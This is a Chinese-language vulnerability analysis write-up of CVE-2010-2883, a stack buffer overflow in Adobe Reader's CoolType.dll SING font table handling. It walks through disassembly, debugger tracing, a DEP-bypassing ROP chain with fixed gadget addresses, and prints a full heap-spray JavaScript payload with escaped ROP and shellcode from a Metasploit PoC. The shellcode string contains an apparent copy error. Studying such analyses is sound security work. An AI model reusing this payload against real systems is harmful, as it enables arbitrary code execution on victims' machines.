漏洞分析之CVE-2010-2883(栈溢出)
之前调过一个关于浏览器的漏洞,因为第一次接触漏洞,所以很没有经验不知道最后怎么构造shellcode(特别是ROP链的写法),有幸再调试一个稍微简单点的CVE,具体查看poc中的ROP链编写。
0x00 漏洞简介
Adobe Acrobat和Reader都是美国Adobe公司开发的非常流行的PDF文件阅读器。
基于Window和Mac OS X的Adobe Reader和Acrobat 9.4之前的9.x版本,8.2.5之前的8.x版本的CoolType.dll中存在基于栈的缓冲区溢出漏洞。远程攻击者可借助带有TTF字体Smart INdependent Glyphlets (SING)表格中超长字段的PDF文件执行任意代码或者导致拒绝服务(应用程序崩溃)。
0x01 测试环境
虚拟机 | winxp sp3 32bit |
---|---|
adobe Reader | 9.3.4 |
利用OD以及IDA进行动静态结合的逆向分析
0x02 漏洞调试
0x1 基于字符串定位的漏洞分析方法
首先进行漏洞定位,这是分析的起始步骤,找到漏洞产生的现场,作为一个典型的stack overflow的漏洞,最典型的函数就是Strcat函数,同时本漏洞出现的原因是在堆SING表格的解析上,所以我们可以直接利用IDA分析(CoolType.dll文件)定位漏洞所在位置,alt+t搜索SING字符
利用IDA静态查看出问题的CoolType.dll动态链接库
.text:0803DCF9 push ebp
.text:0803DCFA sub esp, 104h;分配栈空间0x104
.text:0803DD00 lea ebp, [esp-4];后面的strcat会把执行结果保存在ebp中
.text:0803DD04 mov eax, dword_8230FB8
.text:0803DD09 xor eax, ebp
.text:0803DD0B mov [ebp+104h], eax
.text:0803DD11 push 4Ch
.text:0803DD13 mov eax, offset loc_8184A54
.text:0803DD18 call __EH_prolog3_catch
.text:0803DD1D mov eax, [ebp+arg_C]
.text:0803DD23 mov edi, [ebp+arg_0]
.text:0803DD29 mov ebx, [ebp+arg_4]
.text:0803DD2F mov [ebp+var_28], edi
.text:0803DD32 mov [ebp+var_30], eax
.text:0803DD35 call sub_804172C
.text:0803DD3A xor esi, esi
.text:0803DD3C cmp dword ptr [edi+8], 3
.text:0803DD40 mov [ebp+var_4], esi
.text:0803DD43 jz loc_803DF00
.text:0803DD49 mov [ebp+var_1C], esi
.text:0803DD4C mov [ebp+var_18], esi
.text:0803DD4F cmp dword ptr [edi+0Ch], 1
.text:0803DD53 mov byte ptr [ebp+var_4], 1
.text:0803DD57 jnz loc_803DEA9
.text:0803DD5D push offset aName ; "name"
.text:0803DD62 push edi ; int
.text:0803DD63 lea ecx, [ebp+var_1C]
.text:0803DD66 mov [ebp+var_11], 0
.text:0803DD6A call sub_80217D7
.text:0803DD6F cmp [ebp+var_1C], esi
.text:0803DD72 jnz short loc_803DDDD
.text:0803DD74 push offset aSing ; "SING"
.text:0803DD79 push edi ; int
.text:0803DD7A lea ecx, [ebp+var_24];一个指向虚表的指针
.text:0803DD7D call sub_8021B06;处理SING表
.text:0803DD82 mov eax, [ebp+var_24]
.text:0803DD85 cmp eax, esi;判断是否为空
.text:0803DD87 mov byte ptr [ebp+var_4], 2
.text:0803DD8B jz short loc_803DDC4;这里不跳转
.text:0803DD8D mov ecx, [eax];字体资源版本号,这里是1.0版本
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F;这里跳转
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F add eax, 10h;寻找uniqueName,相对sing表入口偏移0x10
.text:0803DDA2 push eax ; Source
.text:0803DDA3 lea eax, [ebp+0];前面提到的申请的变量空间
.text:0803DDA6 push eax ; Dest
.text:0803DDA7 mov byte ptr [ebp+0], 0
.text:0803DDAB call strcat;最后产生溢出的漏洞点
由上述汇编代码来看,漏洞产生的根本原因是在copy字符串时没有对字符创的长度进行检测,导致恶意数据覆盖返回地址,造成栈溢出。
0x2 SING数据结构分析
这里介绍一款PDF二进制分析工具 PdfStreamDumper,用工具导入利用漏洞的PDF文件,在Object中找到Sing的Object,右键选择Save Decompressed Streams保存到本地。在保存的文件中能看到TableEntry数据结构
typedef sturct_SING
{
char tag[4];//"SING"
ULONG checkSum;//校验和
ULONG offset;//相对文件偏移
ULONG length;//数据长度
} TableEntry;
根据TableEntry结构可知从SING入口偏移0x11c为SING真实数据,从书上知道了SING从真实数据偏移0x10为uniqueName域,从代码上可以看出strcat是将uniqueName复制到栈空间,直至遇到NULL字符串终止符。
0x3 Ollydbg动态调试
- 打开Adobe Reader,OD附加,f9
- ctrl+g:803DD9F,f2
- Adobe Reader中打开msf.pdf
- OD中断到803DD9F处
这段汇编将已经在内存里的uniqueName域copy至程序所运行的栈中,查看相关内存已经找到了SING中的数据
从第一个4byte到最后一个覆盖的地址,可以发现有0x328-0x12C=0x1FC byte
一直执行到83DDAB,造成缓冲区溢出
溢出修改了一个虚表的指针使得指指向你精心构造的ROP链
这里为了方便调试将刚刚写入*的地址全部设*问中断
这样以来就可以在接下来对刚刚复制的恶意数据进行跟踪,调试。
恶意数据跟踪调试
这里取了第一个字节
这里循环取出 在栈里面的恶意数据 注意这里取出的是4byte
将栈上的数据复制到0x491274
内存访问断点断在了 一个将0x495220c写入0x12e608内存处
到这里才到关键点,有一个调用虚表的指令,一开始虚表是存在栈上的,但是被我们溢出覆盖成了恶意地址
ROP链构造
因为软件本身自带DEP数据保护,所以这里我们需要构造DEP链来绕过它,构造ROP链的过程很巧妙。大体绕过DEP的思路如下:
- 利用heap spray的方法将将0x0c0c0c0c处的内存喷上自己的shellcode(这里的shellcode要伪造成用户堆栈,需要有大量的ROP以及函数调用参数组成)
- 构造相关ROP使得0x0c0c0c0c成为当前程序的堆栈来执行伪造的堆栈
这里我们采用了两条ROP指令将esp指向0x0c0c0c0c
首先我们看一下构造的shellcode
我们选取的ROP地址一个是0x4A82A714,另一个是0x4A80CB38,他们都位于icuncnv36.dll的地址空间,而在Adobe Reader的各个版本上,这个DLL两个地址不会随着改变,这也是我们选取他们的原因。
我们看一下他们的汇编指令
0x4A80CB38
leave:
mov esp,ebp
pop ebp
使得sp指针指向0x4A82A714,这里很巧妙的应用了该指令
0x4A82A714
现在栈顶应该是0x0c0c0c0c这样直接pop就直接可以到rop链那
最后成功到达rop链,这里总结一下ROP的精髓是控制esp也就是栈顶指针为你所用,其实是个栈翻转的作用,这里用了两次栈翻转,第一次没有shellcode,中间中转一下利用 第二个翻转将esp指到了shellcode的位置,这也ROP的巧妙之处吧。
一般运用stack pivot技术的时候一句xchg eax,esp
就能够起到作用。
下面就是执行shellcode的过程了
将shellcode写在可以执行的内存上,从而绕过了DEP
0x4 heap spray技术应用
<script type="text/javascript">
var s = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%u91be%u7e18%udb51%ud9c4%u2474%u5af4%uc931%u31b1%u7231%u0313%u1372%uea83%ufa6d%uad8b%u7965%u4e73%u1e75%uabfd%u1e44%ub899%uaef6%uede9%u45fa%u05bf%u2889%u2968%u863a%u044e%ubbbb%u07b3%uc63f%ue7e7%u097e%ue6fa%u7447%ubbf7%uf210%u2baa%u4e15%uc777%u5e65%u34ff%u613d%ueb2e%u3836%u0df0%u309b%u15b9%u7df8%uad73%u0aca%u6782%uf203%u4629%u01ac%u8e33%ufa0a%ue646%u8769%u3d50%u5310%ua6d4%u10b2%u034e%uf443%uc009%ub14f%u8e5e%u4453%ua4b2%ucd6f%u6b35%u95e6%uaf11%u4ea3%uf63b%u2009%ue844%u9df2%u62e0%uc91e%u2898%u0c74%u572e%u0e3a%u5830%u676a%ud301%uf0e5%u369e%u0e42%u1bd5%u87e2%uc9b0%uc5b7%u2442%uf3fb%ucdc0%u0783%ua7d8%u4c86%u5b5e%uunescapefa%u5b0b%udea9%u3819%u4d2c%u91c1%uf5cb%uee60' );
var a = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (a.length + 20 + 8 < 65536) a+=a;
c = a.substring(0, (0x0c0c-0x24)/2);
c += s;
c += a;
f = c.substring(0, 65536/2);
while(f.length < 0x80000) f += f;
k = f.substring(0, 0x80000 - (0x1020-0x08) / 2);
var NwBg = new Array();
for (OYV=0;OYV<0x1f0;OYV++) NwBg[OYV]=k+"s";
</script>
因为pdf支持javascript脚本,所以利用javascript代码进行内存喷射,将shellcode重复写到内存上
0x03 漏洞验证
选用的是msf生成的poc文件,主要功能是弹出计算器,下面结合该poc文件进行相关漏洞分析预测试
漏洞执行成功
推荐阅读
-
thinkphp 漏洞修复方案之6.X版本的代码漏洞案例分析
-
数据结构之队列and栈总结分析
-
联众ConnectAndEnterRoom ActiveX控件栈溢出漏洞
-
FreeBSD user-ppp协议实现本地栈溢出漏洞
-
BusinessObjects RptViewerAX ActiveX栈溢出漏洞
-
Move Media Player ActiveX控件栈溢出漏洞
-
菜鸟笔记之FaxServer 4.27 ftp 溢出漏洞
-
PHP5.2下chunk_split()函数整数溢出漏洞 分析
-
漏洞分析之CVE-2012-4792(UAF)
-
【漏洞分析】Foxit Reader BMP biWidth 堆溢出漏洞(CVE-2017-17557)